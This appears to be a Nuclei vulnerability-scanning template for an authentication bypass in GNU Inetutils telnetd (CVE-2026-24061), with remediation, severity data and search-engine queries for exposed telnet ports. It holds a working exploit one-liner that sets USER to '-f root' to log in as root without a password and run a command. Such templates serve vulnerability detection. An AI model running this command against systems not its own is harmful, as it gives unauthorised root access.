id: CVE-2026-24061 info: name: GNU Inetutils telnetd - Authentication Bypass author: pussycat0x severity: critical description: | GNU Inetutils telnetd through 2.7 contains an authentication bypass caused by setting the USER environment variable to \"-f root\", letting remote attackers bypass authentication, exploit requires remote access to telnetd service. remediation: | Update to a version later than 2.7 or the latest available version. impact: | Remote attackers can bypass authentication, gaining unauthorized root access to the system. reference: - https://github.com/vulhub/vulhub/tree/master/inetutils/CVE-2026-24061 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-24061 cwe-id: CWE-88 epss-score: 0.91526 epss-percentile: 0.99686 metadata: verified: true max-request: 1 vendor: gnu product: inetutils shodan-query: port:23 telnet fofa-query: port="23" && protocol="telnet" tags: cve,cve2026,telnet,auth-bypass,rce,code,kev,vkev code: - engine: - sh - bash source: | (sleep 2; echo "id"; sleep 2) | USER="-f root" telnet -a $Host $Port matchers-condition: and matchers: - type: regex part: response regex: - 'uid=[0-9]+\([a-zA-Z0-9_-]+\)\s*gid=[0-9]+\([a-zA-Z0-9_-]+\)' - type: word part: response words: - "Last login" - "Debian" condition: and # digest: 490a0046304402205f1446e5310d8d0dec57683f1bd36b525286116ca7f09efeb18b2ef542c60fbb022048d8d095b0ee44411e245c48803d3ec10562470263e781cfb21d99cf8f64d762:922c64590222798bb761d5b6d8e72950